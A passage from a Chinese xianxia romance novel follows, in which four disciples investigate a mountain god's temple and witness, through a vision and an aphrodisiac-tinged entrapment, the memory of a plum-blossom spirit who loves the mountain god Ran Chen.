落无忧见它要走,又叫道,“你记得好好跟师父说,莫要叫她老人家担心!”
阿鸾叫了一声回应,随后展翅往青枫方向飞去。
落无忧与云殷寒都有些心不在焉,四人各怀心思地往山上走去。
不过一会,
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便见山顶的树木中一座顶着积雪的神庙缓缓出现。
神庙前人山人海,高台上站着几个身着奇装异服之人。
随着一声尖锐的口哨声吹响,高台四周立着的火把被猛然点燃。
圣火燃烧,烟雾缭绕间,鼓声点点,宛如某种神兽的心跳声。
那鼓声有种莫名的蛊惑人心,使人心脏随着它的节拍一起跳动。
随后,一群身着奇装异服,脸戴面具的人缓缓跑出,他们跳着祭祀的舞蹈,庄严而神秘。
一舞跳毕,一头黑山羊被抬出,猛然刺死,鲜血自高台上喷洒而下,被洒到的人们叩首谢恩,这代表着天神保佑。
落无忧感觉心跳有些快,感觉心脏将要跳出般。
她暗道,这是什么法术?
“我们去其他地方看看吧。”
她轻声地开口提议。
于是几人从人群中小心翼翼地溜出。
神庙正殿前跪着一列人,他们手持香火,一步一叩首,往神殿里走去。
落无忧好奇地抬头看了一眼,却见金黄的神像极为高大,却别有一番神韵。
她小声地开口,“这神像是谁啊?”
听到落无忧的疑惑,其余三人齐齐抬头看了一眼。
均摇了摇头。
“这好像不是佛像。”
白秋尽也小声道。
云殷寒默了半晌,方才开口,“这应当是一尊山神。”
碧落城中的人信仰的可能是一尊山神。
山神既可管山间精灵野怪,也可保佑山中居住之人。
落无忧忽然想起,桃沐音曾说,她遭遇山火时想的是山神前来救她。
所以推测,保护着碧落山的所有生灵的应当是山神。
几人又往神庙背后走去,却见神庙背后树木稀少,此时积雪压着枝头,一片光秃秃的。
可那一片零零散散的树木间一抹艳丽的红尤为夺人眼球。
那是一颗极高的朱砂梅,它开的极为艳丽,宛若鲜血般摄人心魄。
落无忧腰间挂着的玉佩忽然微微震动起来。
她摸了摸玉佩,眼睛却一动不动地盯着这奇特的朱砂梅。
这朱砂梅与煌瞳和师祖有关么?
这是第几段记忆?
*
由于玉佩异动,几人决定在此地多查看一番。
待到傍晚时,神庙前的祭祀活动已经结束,行人纷纷下山回家。
最后人群走完了,神庙中唯有一个老妪留着。
她颤颤巍巍地收拾残品,四人站在她面前。
“请问一下,这是谁的尊像啊?”
落无忧俯身询问。
老妪宛若未闻继续蹲着收拾。
落无忧再次询问,“老人家,请问这神庙里供奉的是谁啊?”
老妪依旧自顾自的做着自己的事。
下一刻,白隐迢一脚踩在她正在擦地的毛巾上。
他力气极大,那老妪扯了半天,发现根本扯不出来后,才颤颤巍巍地抬起头来。
她却没有看着几人,而是直直地盯着几人身后。
云殷寒微微颔首,“老人家,请问神庙里的尊像是谁啊?”
老妪仿佛听了什么恐怖的事情,眉眼间皆是恐惧,她的声音沙哑而低沉,
“你们最好不要靠近后院的那棵朱砂梅。”
29. 已染红尘(二)
几人面面相觑,再问,那老妪却没再开口。
落无忧与云殷寒对视一眼,都从对方眼中看出了浓浓的诧异。
为何不能动那棵朱砂梅?
她为何只强调这句话?
她是想向他们传递什么信息呢?
煌瞳的玉佩独独对那棵朱砂梅有反应,这又是为何?
这棵朱砂梅才是最关键的。
想着,几人再次往神庙后走去。
朱砂梅在暮色中别有一番风味。
落无忧走近那棵朱砂梅,伸手抚摸其树干,脑海中不断浮现师祖和煌瞳识别那棵柳树时的情景。
落无忧闭上眼睛,用心感受着朱砂梅树干上的纹路,她体内的灵力在缓缓往上冒,云殷寒等人看见的便是落无忧身上在冒着白雾,极为奇怪。
下一瞬,落无忧竟昏了过去,云殷寒反应很快,在她倒地之前接住了她。
然而,此时落无忧的意识却格外清醒。
她走在一片茫茫白雾中,只听见流水声叮咚作响。
落无忧顺着溪水声走去,眼前的白雾渐渐消散,映入眼帘的是一个正在浣纱的白衣女子。
女子背对着她,她墨发披散,没有一个头饰,听见身后传来脚步声,女子有些惊慌地回头。
却见一个紫衣少女正站在她身后打量着她。
落无忧见那白衣女子容貌清丽,素净高雅,宛若天仙,不禁有些看呆了。
白衣女子轻言细语道,“你可知此地是何处?”
落无忧老实地摇摇头,“姐姐,此地是哪儿?”
虚幻仙子笑道,“此乃盈虚境,你来此作甚?”
盈虚境?
落无忧默念一遍,轻声询问,“是盈则虚么?”
虚幻仙子笑着点了点头,“你倒是机敏......只是,”
虚幻仙子顿了顿,告诫道,“你体内的魔丹在蠢蠢欲动,你当小心为上。”
落无忧见她一眼便看出自己体内魔丹不稳定,不由得正色,“多谢姐姐提点。”
虚幻仙子又往小溪中看了一眼,忽然“咦”了一声,惊奇道,“你们竟来到了染尘的管辖地......”
落无忧心中一动,“求姐姐告知染尘可是管辖碧落山精灵野怪的山神?”
虚幻仙子点点头,笑道,“你也算是至诚至性之人,竟因为煌瞳那小子而奔走多方。”
虚幻仙子竟与煌瞳认识?
落无忧心中疑惑,那她是否也认识师祖?
仿佛是看出了落无忧心中的想法,虚幻主动解答,“你想的不错,我不仅认识煌瞳,还认识你师祖帝无邪......”
她又朝落无忧笑了笑,“我不仅认识他们。我还认识你们青枫宫每个弟子的灵兽,你师父的灵龟,还有你的青鸾鸟,我都认识。”
落无忧瞪大双眼,脑中接受到的信息量太大了,使她一时不知道该从何处开始理。
虚幻轻声道,“不出意外的话,这些事情你往后都会知晓的。好了,你该走了,盈虚境里你不能待太久。”
落无忧冲虚幻行了个礼,真诚地感激道,“多谢仙女姐姐。”
她这一称呼将虚幻逗乐了,她笑道,“你我相识便是缘,我再给你透露一个信息,染尘染上红尘,已不再是山神了,过几日会有人来代替他的。”
落无忧一愣,还欲再问,眼前的情景却缓缓消散,睁开眼时,却见云殷寒的脸半隐于黑暗中,五官立体,神色淡然。
而她惊恐地发觉,她此刻正枕着他的腿,身上盖着他的斗篷。
原来是落无忧忽然昏倒,几人无法,只好在神庙后稍微干燥的地方生了一堆火,等她醒来。
落无忧立即从云殷寒腿上起来。
“落落,你没事吧?”
白隐迢一见落无忧醒来便凑上来,一脸担忧地询问,然而落无忧却发现他神色里带着一丝别样的情绪。
她没看懂,也不再想,摇了摇头。
随即将虚幻仙子所说的最后一句话一字不落地转述给几人。
“你是说染尘即将失去山神之位了?”
落无忧点点头,“她说即将有新的人来接替他。”
“照这么说,染尘此时应该在哪呢?”云殷寒一阵见血地提问。
落无忧心中一亮,望着云殷寒笑着说,“如若是我,我定还在此地,来做最后的道别。”
闻言,云殷寒眼中也闪过一丝笑意。
四人起身扑灭火堆,往神庙走去。
夜里的神庙宛如一只庞然大物,略显狰狞可怖。
神庙角落的灯盏发出微弱昏黄的光亮,几人走近的时候,还看见那个老妪正躺在神庙外沉沉入睡。
她身上只盖了一块破破烂烂的薄布,显得极为寒酸。
四人轻手轻脚地越过她走进神庙。
神庙中灯光昏暗,巨大的神像在昏暗的光线下半隐半现。
落无忧仰头看着略显俊朗的神像,心中诧异万分。
那镀金神像五官逼真,模样俊朗,好似真人一般。
落无忧轻声对身旁的白秋尽开口,“白姐姐,你可觉得这神像像极了真人?”
白秋尽点点头,轻回,“听你这么一说,是有几分像。”
四人经历了神秘古庙中,墨漓金蝉脱壳,将几人镇压在古庙中之事后,谨慎了不小。
他们环顾四周,不断观察着四面的布局。
神庙中只有一个神像,四面墙上勾画着奇装异服之人,他们的行为和神态栩栩如生,画面是连续的,好像是某些历史。
据虚幻仙子所说,这神像应当是山神染尘,那那些壁画记载的又是什么?
落无忧走近那些微微泛光的壁画,想看清其记录了什么。
然而,下一刻,一股异香扑鼻而来,将她环绕。
落无忧只觉浑身发热,极为难受。
“别、别吸入这股异香。”
落无忧话音刚落,便四肢发软,整个人瘫了下去。
三人一听便迅速屏住了呼吸。
云殷寒跑过去,却见落无忧正在冒着汗。
少女脸色泛红,唇色红润,连眼尾都呈现一种艳丽的红。
云殷寒抓过落无忧的手,为她把脉。
他沉默片刻后,忽然也觉头脑有些昏昏沉沉的。
他急道,“不好,快出去!”
说罢,云殷寒伸手抱过落无忧,往神庙外走去。
落无忧感到极为灼热,急需降火。
当云殷寒一触及她,她便觉得一股清凉之气扑面而来
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,不由自主地靠的更近。
怀中的少女迷迷糊糊间主动地环上他的脖颈,云殷寒身体一僵。
女儿家的香甜之气扑鼻而来,怀中一片温热,一双白藕似的手环上他的脖子。
云殷寒方才情急之下便吸入了几口那异香,此时抱着中了媚毒的落无忧便愈发的有些不受控制。
他才抱起落无忧走了几步,刚走出神庙的白秋尽和白隐迢竟齐齐消失。
他们的身影消失的那一瞬,神庙猛然关闭,没有一丝缝隙。
白秋尽和白隐迢回头,却见云殷寒和落无忧已被锁在神庙之中。
云殷寒和落无忧周围景象迅速转变,壁画转的飞快,像一帧帧飞快变化的影像。
神庙中光影变幻无穷,忽明忽暗,暗红色的光映在云殷寒白衣上,映成一片猩红。
落无忧忍得极为艰难,她额头冷汗大颗大颗的往下落。
云殷寒一面观察四周,一面关注着她的情况。
神庙的地面瞬间变成一片火海,有些妖冶的烈火舔过云殷寒的衣袂,却又被他身上带着的灵力扑灭。
落无忧不安稳地在他脖子边蹭来蹭去。
云殷寒轻唤,“……别动。”
落无忧无意识地呻.吟了一声,极为委屈,
“哥哥……我难受。”
她的声音比起往日的清脆多了几分娇憨和妩媚,令云殷寒全身僵硬。
落无忧在他怀中动来动去,极不安生。
他无法,只好捏诀,把地上的熊熊烈火扑灭一些,将落无忧放下,随后蹲在其面前,背起落无忧。
各种声音充斥在耳边,温度极速升高,云殷寒身上也沁出一身汗水。
他缓缓地将灵力注入残星剑中,残星剑散发出淡蓝色的光晕,随后化作万千剑影,咻咻飞向前方,为两人开路。
又走了一会,云殷寒实在担心落无忧,便将她放下。
结果一放下,面色泛红的少女便一把揽住他的脖子,抱了上去。
她闭着眼睛,长而卷翘的睫毛上带着些许亮亮的泪珠,她不自觉地咬着嘴唇,无意间勾出万千媚色。
落无忧凑近云殷寒,紧紧地抱着他,仿佛是抱着一尊清凉的冰雕。
云殷寒感觉到她的身体在微微颤抖。
他极具温柔地拍了拍落无忧的脊背。
却不知,这一举动更加带起了落无忧的邪念。
落无忧抱他抱得愈发的紧。
云殷寒将手中灵力注入落无忧体内,在她四肢百骸游走着。
他发现,少女的丹田里一片惊涛骇浪。
那颗本就蠢蠢欲动的魔丹在落无忧吸入媚香后更加肆无忌惮地散发魔气。
暗红色的魔丹宛如太阳般源源不断地放出魔气,那些魔气影响着落无忧,导致她心志不安,吸入媚香后更是欲念横生。
云殷寒还想着,便觉肩头传来一阵疼痛。
他回过神,却见少女实在忍不住,一口咬在他的肩膀上。
鲜血自他肩膀上沁出,濡湿了他的白衣。
然而,向来有洁癖的他却在此时勾了勾唇。
很好。
学会咬人了。
对于云殷寒来说,爱与痛并存。
爱才会痛,痛才能感知爱。
30. 已染红尘(三)
口鼻里传来一阵血腥味,落无忧才清醒了一瞬。
她懵懂地睁开眼,有些迷茫道,“我们这是在哪?”
云殷寒没料到她会清醒,一怔,含笑道,“我们应当在某个回忆里。”
“回忆里?”
落无忧不理解他为何会带笑,却还是不解。
云殷寒看着远方纯白的天空,“我们方才应当是被某种力量拉入了某人的回忆中。”
落无忧还欲再说,却见云殷寒蹲下将她放下,他告诫,“你体内的魔丹极不稳定,导致你易受邪念影响。我现在帮你暂时稳住魔丹。”
落无忧点点头。
云殷寒席地而坐,手中灵力丝丝缕缕沁出,一点点汇入落无忧体内。
落无忧闭着眼睛,感受着一股清凉之气缓缓进入体内,遍及四肢残骸。
云殷寒手中的灵力在落无忧体内游走着,直至她的丹海处。
她体内的魔丹正散发着淡淡的暗光。
清凉之气霎时包裹着那颗魔丹,落无忧只觉痒痒的,体内的燥热渐渐消减。
不知过了多久,云殷寒方道,“好了。”
落无忧回过神来,他已抽开了手。
他站起身来,使了些灵力,将身上的衣服掸得干净。
“你为何会有魔丹?”云殷寒问。
“为一个人受的。”
落无忧也缓缓站起身来,声音里充满无所谓。
云殷寒心下一紧,语气里听不出任何情绪,“是谁?”
落无忧率先朝那片白光走去,声音有些含糊不清,“不重要。”
不重要?
为别人吞了魔丹还不重要?
那什么才重要?
落无忧腰间的铃铛随着她的走动而轻轻晃动,发出细碎清脆的声音,连绵不绝。
宫铃泛出的紫光严严实实地将落无忧护着,使那熊熊燃烧的烈火伤不到她半分。
云殷寒心里情绪万千,脸色却平静如水。
他一言不发的跟在落无忧身后。
离那白光越近,烈火越少,直至他们完全处于白光中时,烈火已全部熄灭。
白光里一段段回忆正在上涌,落无忧拉过云殷寒,在白光外边坐着看白光里的回忆。
*
林砂是株朱砂梅。
她得天地灵气后得以拥有意识,林砂自小长在神庙后方,沾了山神的光,承香火供奉,故而修行涨得飞快。
那年冬日,她朦朦胧胧间见到一人踏雪而来。
那人白衣飘飘,不染纤尘。美的不可名状。
后来她才知,那是山神染尘。
山神染尘掌管碧落山及其周围的山灵野怪和人民百姓,护佑他们早日维持秩序。
他受香火供奉,却极少来神庙中。
林砂一次都没见过他。
因此她此时见到他时还不知他是谁。
他撑着一把红色油纸伞,在雪地里见到一株瘦小的梅树。
他轻叹,“雪越来越大了。”
随后,将手中的伞覆在其上,继续道,
“你可不能冻坏了哦。”
说完,染尘转身回去。
林砂愣愣地盯着他的背影,心里想,原来神爱世人、悲悯众生是真的。
染尘很少在神庙中待着。林砂一边修炼,一边寻找他的身影。
再次见到他时已是好几年后了。
那时林砂已化为人形了,但她不愿离开,她一直待在神庙后面,她想,只要她还在这儿,总能再见到他吧。
凡人依旧信奉他,香火旺盛,也护佑了林砂。
但山间精怪中也有不喜欢染尘的。
山间火狐在一个夜里放火,火势骤增,神庙顷刻间化为一片火海。
林砂迷迷糊糊间闻到一阵烟火味,她睁开眼便看见熊熊烈火正燃烧着。
她心下一急,赶忙往神庙里走去。
林砂妖力不够,她拼尽全力方才熄灭那阵火。
染尘回来时看见的便是这样一幅景象:
一个身着红衣的少女站在一片废墟中,她衣裙和脸上都沾染了烟灰,灰扑扑的。
他还看见,她身后若隐若现的朱砂梅幻影。
原来是棵朱砂梅。
见染尘回来,她眼中充满水汽,声音楚楚可怜的。
“山、山神......”
染尘眼神温和,静静地等着她说完话。
少女声音哽咽,眼眶通红,“抱歉啊,没能及时扑灭神庙中的山火。”
说着,她“哇”的哭了出来,满是自责。
染尘暗道,怎么会如此爱哭?
他温柔地安慰着,“没事的,你这不已经扑灭了么?”
林砂哭泣着,自责道,“可、可我要是再快一会,神庙就不会被烧成一片废墟了。”
染尘从未觉得如此麻烦过,其他人都尊他为山神,不敢靠近一点,此时这个梅花精竟哭得这般难过。
挺难哄的。
染尘想着,走向废墟中的红衣少女,轻声道,“你看我给你变个魔术。”
林砂闻言结束了抽泣,不解地望着他。
染尘微微笑着,手中灵力毕现,那化作一片残骸的神庙随着染尘手中灵力的产生而缓缓恢复,竟与原先一般无二!
林砂睁大双眼,愣愣地盯着那恢复如初的神庙,又看了看身旁的白衣山神,眼中尽是崇拜。
染尘感受到少女炽热的目光,嘴角不禁微微上扬,得意道,“你看,我没骗你吧。”
他又看了一眼少女泛红的眼眶和红通通的鼻子,轻笑道,“别动不动就哭。”
林砂转涕为笑,反驳道,“我哪有动不动就哭。”
她又感叹道,“你好厉害啊!你是不是神灵?”
染尘看着眼前处于黄昏中的神庙,眼神温柔似水。
夕阳余晖给神庙镀上了一层金黄色的光晕,显得神庙极为高贵与除尘。
他微微颔首,“我是此地的山神。”
林砂眉间闪烁着喜悦,“所以,你会保护我的吗?”
染尘笑道,“自然。我会保护每一个子民。”
神爱世人。
林砂点点头,小声问,“你知道我是谁吗?”
染尘看了一眼低着头,有些惴惴不安的红衣少女,温柔道,“自然知道。”
“那你会知道你的每一个子民吗?”林砂咬着下嘴唇轻问。
染尘没有思考太多,毫不犹豫道,“当然不会。”
碧落山上那么多精灵野怪,还有那么多凡人,他怎么可能会每个都知道。
听闻此言,林砂嘴边绽放出一抹愉悦的笑容。
神爱世人又如何?至少在此时她是独一无二的。
染尘不知道林砂心里的想法,他嘱咐道,“你快回家吧,我要走了。”
林砂眼中的笑意点点熄灭,“你要去哪啊?”
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染尘的身影被夕阳拉得很长很长,他的声音远远的飘来,
“这世间皆是吾家。”
林砂忍不住踮起脚尖,大声问道,
“那我何时才能再次见到你?”
少女的声音柔柔的,带着一丝微微的哽咽,充满了不甘。
染尘不解少女为何会如此激动,他的脚步顿了一瞬,却只是一刹那,他继续往前方走去,声音温柔悠扬。
他说,“有缘自会再见。”
林砂继续在神庙后面修炼,蹭蹭香火。
春天来了,有许多老朋友都回来看她了。
那些鸟儿雀儿围着她唱歌跳舞,尤为热闹。
在这热闹的景象中,她也会想,山神大人何时才会回来呢?
他在做什么呢?
她对她的一切都不知道,他是神秘的、温柔的、伟岸的。
鸟儿会在她发呆时,打趣她,“梅姐姐这是在想谁呢?”
另一只雀儿调侃道,“梅姐姐该不会是在思春吧?”
林砂红着脸反驳,“哪有。”
几人又说说笑笑的打闹了许久。
雀儿忽然正色道,“梅姐姐一直生活在山中,不知红尘之事......”
林砂不解地望着雀儿。
雀儿摸了摸林砂的头,叹了口气,“梅姐姐有所不知,凡人是最恶毒的生物。”
林砂摇了摇头,“可我平日见到的人都是恭恭敬敬地跪倒在神庙前。,神色虔诚,眼神崇拜。”
鸟儿讽刺道,“那都是他们装出来的。人可是最会伪装的生物了。”
雀儿的声音低了下来,她悄悄道,“梅姐姐可还记得那只兔儿?”
林砂一愣,“早些年一直来我这儿玩的那只兔子么?”
“正是!”雀儿来了精气神,继续八卦道,“你可知她为何这几年不来找姐妹们玩了?”
林砂老老实实道,“不知道。”
雀儿叹了口气,“不怪姐姐你,连我和鸟儿都是近日才听到这个故事。”
雀儿在林砂疑惑的目光下讲起了那只兔妖的故事。
*
兔妖名叫玲琅,也是碧落山上的一只妖精。
自小喜欢来找林砂玩。
她们还未化为人形的时候,她也总是喜欢躺在梅树下睡觉。
久而久之,她们成了好朋友。
但是有一天,玲琅走了,她说她想出去看看世界。
她总不能一辈子留在碧落山。
然而,玲琅在下山途中踩到了一个捕兽夹,她在奄奄一息时,一个凡人救了她。
那个凡人一直照顾她,为她疗伤,玲琅便春心暗动了。
凡人将她放回碧落山后,她又化为人形去找他。
两人在一来一往中互生情愫,逐渐走得越来越近。
但那凡人的母亲不喜欢玲琅。
*
“然后呢?”
林砂以为他们会有情人终成眷属的。
雀儿顿了一下,“也算是有情人终成眷属吧。然而……”
*
然而,结果却不尽如人意。
凡人确实反抗母亲,坚持和玲琅在一起,甚至以死相逼。
后来,他的母亲也妥协了,让两人成婚了。
起初,凡人对玲琅确实很好。
不纳妾,与玲琅花前月下,幸福美满。
但终究是人妖殊途。
31. 已染红尘(四)
两人成婚一年多了都没有子嗣。
凡人的母亲便开始有怨言,玲琅与她的关系越来越不好。
直至后来,有个道士在街上遇见那个凡人。
道士说凡人沾染了妖气,需得尽快除去,方可长寿。
凡人听了吓得屁滚尿流,立即将道士引回家。
道士一看玲琅身上妖气甚重,立即画符纸,里里外外贴满了符纸,逼得玲琅现出原形。
这下将那凡人和其母亲都吓傻了,立即哭诉着请求道士替他们除去妖怪。
玲琅冷眼看着昔日温柔深情的爱人露出丑恶的一面,心如刀割。
她不恨他的变脸之快,她只是遗憾自己不是凡人,不能与他长相厮守。
玲琅在死心后坦然赴死。
*
林砂心底涌起一股悲哀来,不死心道,“怎会如此?怎会如此?凡人当真如此无情么?傻玲琅,怎会如此傻啊?”
鸟儿正色道,“不只是凡人,天下男人都一般,他们都无情无义、自私自利。所以好姐姐,千万千万不要动情。”
雀儿赞同地点头。
林砂看着鸟儿和雀儿,心中不可控制地浮现一道人影。
那人白衣飘飘,不染纤尘,嘴角弯弯,眼神温柔,极为悲悯。
“......会不会有例外呢?”
林砂轻声反驳。
鸟儿雀儿仿佛听到了什么很恐怖的事情一般,她们惊恐道,
“梅姐姐,你该不会真的动心了吧?!”
林砂脸上浮现一抹红晕,她的心却跌入深渊。
爱上一个人真的会万劫不复么?
真的会如玲琅一般最后什么都没得到,反而丢了性命么?
林砂叹着气,暗想。
她弱弱道,“难道神也会如此么?”
鸟儿雀儿听她这么说,脸色愈发的怪异起来。
“梅、梅姐姐,你说什么?”
鸟儿有些不确定,以为自己听错了。
雀儿低声道,“你疯了?!你怎么敢、怎么敢肖想神灵呢?!”
林砂破罐子破摔,“我也不敢奢望他能回头看我,我只要......我只要远远地看着他就好了。”
她的声音低了下来,带上了一丝悲伤,“我连远远看着他的机会都没有。”
鸟儿和雀儿对视一眼,有些心疼地摸了摸林砂的头,“好姐姐,你还是好好修炼吧。有朝一日,或许你也能成神呢。”
林砂抬起头,眼中充满水光,在阳光下显得格外剔透。
“我一定会成神的。”
*
林砂确实一直好好修行,加之她沾染了香火,修行速度极快。
染尘已经很久没来了。
也许他来了,但是她感受不到。
毕竟神是那么神秘。
再次见到他时,是个雪夜。
林砂见神庙的院子里积雪成堆,便去扫雪,她想让他的神庙干干净净的。
暮色四合时,几个人踏进神庙中。
为首的青年白发白衣,面容俊美,最奇特的是,他的双目竟是两种颜色,一蓝一棕,异常邪魅。他是林砂见过的除了染尘外第二个好看的人。
其后跟着一个清俊的少年,少年身上的力量极恐怖,像染尘身上的力量一样。少年也是白衣白发,然而,少年的瞳孔却是温暖的褐色,宛如某种兽类的眼睛。
最后的是个黑衣少女,少女墨发飞舞,肤色苍白如纸,好看却邪气。
那少年率先开口,“想不到这儿竟有人。”
煌瞳又啧了一声,“竟是只梅妖。”
帝无邪却礼貌地行了个礼,温声道,“姑娘,此地可是染尘上神的神庙?”
林砂缓缓地点了点头。
又听煌瞳轻笑道,“你家山神呢?他去哪了?老朋友来了也不欢迎一下。”
林砂听其语气好似与染尘早就相识,她便轻声回答道,“山神很少在这。”
煌瞳闻言点了点头,笑道,“也是,这儿也太小了。”
听出煌瞳声音里的嫌弃,林砂不禁有些难过。
这儿这般小,故而染尘不愿意呆在这儿么?
原来是这样。
她还在胡思乱想时,身后忽然传来一道温和至极的声音,“煌瞳,你别逗她。我在这呢。”
林砂猛然回头,便见那道白衣身影正自镀着金的神像上跳下,他眉眼间皆是温柔。
染尘一步一步走近几人,他路过林砂旁边时冲她一笑,“辛苦你了,林砂。”
“啊!不辛苦......你怎会知道我的名字?”
林砂疑惑。
染尘却没有回答,他微微笑着走向煌瞳,“你怎么来了?”
说着,他又看了一眼煌瞳身旁的帝无邪和墨漓,“这便是青枫宫的创始人帝无邪么?”
煌瞳点点头,自豪道,“他就是帝无邪!”
“至于这位姑娘......恕我眼拙,并未看出姑娘的身份。”
染尘又冲着墨漓道。
煌瞳笑道,“你不认识她也正常,她叫墨漓。”
“各位若是不嫌弃,可去我的神庙里一坐。”
煌瞳率先迈开步子,“走吧。”
林砂站在原地,不敢上前,怕扰了他们。
却见染尘忽然停下脚步,回头看着她,声音含笑,“发什么呆呢,快进来啊。”
林砂绽开一个笑容,立刻跑上去,跟着几人进了神庙。
她想,完蛋,她好像越来越喜欢他了。
煌瞳进去后一边打量着庙内的布置,一边啧啧叹息。
染尘温和地笑着,帝无邪却轻斥道,“煌瞳,没大没小的。”
煌瞳撇撇嘴,反驳道,“帝无邪,你莫要乱说。我可比染尘大了不少呢。”
染尘点头笑道,“煌瞳确实是比我大了上千年。对了,你们此番前来所为何事?”
听闻此言,煌瞳看了一眼帝无邪,又看了一眼墨漓,随后将目光默默地收回来。
“实不相瞒,我们此次前来是想要向山神索要一物。”
帝无邪恭恭敬敬道。
染尘目光温和,“哦?何物?”
“蔽魔丹。”
染尘的目光动了动,随后将视线移到墨漓身上。
蔽魔丹可遮蔽魔气,掩盖魔物。
“你是为这个姑娘求的么?”
帝无邪点点头。
染尘的脸上罕见地出现了一抹严肃,“你可知,她的身份一旦被公之于众,你会受到百家讨伐?”
帝无邪点点头,叹了口气,“
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可她是无辜的。”
煌瞳抿着嘴没说话,染尘猜他试图劝说帝无邪,可是失败了,故而只能顺他心意,带他们来这里。
染尘认真道,“我虽很少关注凡界之事,可你该知道的,正魔之间的隔阂之大,岂是你一人可跨过的?”
帝无邪轻笑道,“请山神赐药,所有后果皆由我帝无邪一人承担。”
染尘自知无力改变,便将蔽魔丹递给了帝无邪。
*
落无忧看着那些片段沉默不语。
煌瞳的记忆碎片顺序不一致,导致她现在还连不起师祖和煌瞳、墨漓之间的往事。
云殷寒也是沉默不言,这是他第一次见到青枫宫开设人帝无邪和他的神兽白泽煌瞳,隔着百年时光,他们遥遥相望,此乃缘分使然。
落无忧手指一点,回忆片段纷至沓来。
*
帝无邪等三人的到来是林砂和染尘关系发生变化的契机。
自那之后,林砂几乎每日都会在神庙中偶遇染尘。
她有些好奇,“山神大人是一直待在这儿了么?”
染尘微微笑着,“这儿也挺好的,本山神打算暂时留在神庙中。”
林砂努力压下心中的惊喜,装作毫不在意的模样,轻轻地“哦”了一声。
可她不知他分明看出了她眉眼间的喜悦。
早晨雾气朦胧时,她嗒嗒嗒地自外头跑进来,身上带着一股清凉的芳香。
林砂怀中包着一袋鼓鼓的野果,她将刚采摘的野果小心翼翼地放入祭祀台上,一脸期望地看着巍峨高大的神像。
这时,染尘便会从神像上跳下来,接过一颗野果,咔嚓咬了一口,夸道,“小梅花精,你真厉害,竟找到了如此好吃的野果。”
林砂得到染尘的夸奖,眼睛亮晶晶的,喜气洋洋道,“山神大人喜欢就好!”
她终于对他有用了,她想。
然而,她不知道的是,神明不用进食,染尘是依靠香火增进修为的。
染尘也说不清自己是什么想法。
起初时,他看见站在废墟中哭得梨花带雨的红衣少女时,他只觉得她傻。
有什么可好哭的,这神庙同她又有什么关系,何以难过至此?
后来,她问他可知道她是谁?
他觉得她傻的可爱。
他当然知道她是谁。
她是神庙周围仅有的一棵朱砂梅,享受着他的香火,开蒙极早。
再后来,她在雪夜里认认真真地清扫着神庙中的积雪,哪怕她知道他不在这里。
染尘叹了口气,他应当知道她在想什么。
可是他不能给予回应,神明动心乃是大忌。
想着,染尘轻声道,“小梅花精,你怎么天天来这儿啊?”
林砂一愣,低下头,脸颊火辣辣的,“山神大人,我、我以为你会喜欢的。”
喜欢什么?
她却没有说。
“自然喜欢,”染尘看着祭祀台上的野果,继续道,
“但是你不该日日来此,你一定有自己该做的事,你需要好好修炼......”
他还没说完,便看见红衣少女眼眶红红的,眼里充满水汽,表情极为委屈。
染尘暗暗叹了口气。
怎么如此爱哭?
32. 已染红尘(五)
林砂心中难受至极,她闻言便黯然离开了。
虽然后几日她依然会偷偷来看他,但却没再见到他了。
事情的转机是发生在一个月后。
那一个月她努力修炼,却遇到了那只曾纵火将神庙烧得一片废墟的狐狸精。
那狐狸精曾害人被染尘教训,之后便怀恨在心,可他奈何不了染尘。哪怕他火烧神庙,染尘在弹指间便可以使神庙恢复如初。
那日,他去溪边饮水时,见到红衣少女正在修炼。她面容姣好,身姿窈窕,他竟生出了接近她的心思。
然而,对于林砂来说却不时是什么好事。
林砂的修炼被打断,那长相妩媚的男狐狸不断对她搔首弄姿,被她委婉的1拒绝后还一路尾随她。
狐狸精跟着她来到神庙后,发现林砂竟住在神庙附近。
他气得牙痒痒,“你为何住在这里啊?”
林砂觉得莫名其妙,“我不住这住哪?况且我住哪与你何干?”
狐狸咬牙切齿道,“我最讨厌的便是山神染尘了!”
林砂冷笑着火上添油,“我就不一样了,我最喜欢的便是山神大人了!”
狐狸愤怒地离开了。
林砂以为此时告一段落了,然而,那无聊的狐狸又惹出了一件荒唐事。
他竟前往神庙负荆请罪。
染尘不解,“你这是做什么?”
狐狸哭诉道,“昔日火烧神庙是我不对,敢请山神大人莫要记恨于我......”
染尘站在神庙中,温和道,“我自然不会记恨你。”
狐狸就在等他这句话,染尘一说完,他便装作苦恼的模样。
染尘见他还不离开,不禁询问,“你还有何事?”
狐狸见染尘主动开口询问,心中欢喜万分,面上却装作扭捏样,支支吾吾道,
“大人有所不知,我近日在溪边邂逅了一个姑娘,自此对她念念不忘......”这话却是实情,然而接下来的话就有些强人所难了。
“小的斗胆请山神大人为我们主持婚礼,我们定感激不尽。”
染尘思索片刻,问道,“那姑娘可是与你一般爱的入骨?”
狐狸恬不知耻道,“自然、自然。”
染尘见他实话不多,便道,“你即刻唤她过来,此事得你们俩人都在场。”
狐狸听后便往神庙后走去了。
林砂见狐狸兴高采烈地走来,心中狐疑万分,“你为何这般高兴?还有,我可是同你说了?你没事别来我跟前晃悠。”
狐狸笑道,“自然是有事。山神大人找你呢。”
林砂一愣,“找我做什么?”声音里带着一丝隐隐的期待。
狐狸忽略掉她语气里的期待,“山神大人找你为你我赐婚呢。”
林砂方才还在云端之上的心猛然跌落深渊。
“你说什么?”她不可置信道。
“你自己去听听便知晓了。”狐狸眼中闪过一丝狡黠。
林砂走路都有些跌跌撞撞的,短短一段路途,她心中却五味杂陈,多种想法翻来覆去,翻搅得她心烦意乱。
林砂远远望去,便见那袭纤尘不染的白色身影静静地站立在神像上,愈发的显得神秘异常。
她从不奢求能与他在一起,可她只要远远看着她便好的愿望都要破灭了。
染尘看见林砂那一刻心中是意外的。
他从未想过狐狸口中与他情深似海的姑娘竟是林砂。
染尘动了动嘴,想问问可是真的?可他却又生生的止住了。
也罢,总不能一辈子待在神庙守着这尊冰冷无情的神像吧。
他自嘲地想。
狐狸喜气洋洋道,“山神大人,这姑娘便是林砂。”
染尘默了许久方才开口,“林砂,你是否是真心爱慕狐狸。”
“山神大人会为我们赐婚的......”狐狸的声音不断地在林砂脑海中重复着。
林砂只觉内心苦涩至极,她微微扯了扯嘴角,眼里充满泪花。
“大人,我不求你能为我停下脚步,可是你为何......”林砂的声音有些哽咽,“你为何连我的情义也看不到半分?”
染尘只觉得天仿佛轰然崩塌,他万年不变的心如止水,然而却在此刻波涛汹涌。
万千情绪将他吞没的瞬间,他记起来的是王母娘娘嘱咐道,“染尘,作为神,最重要的是不染红尘。你若动了尘心便会万劫不复......”
染尘从来都不敢正视自己的内心。
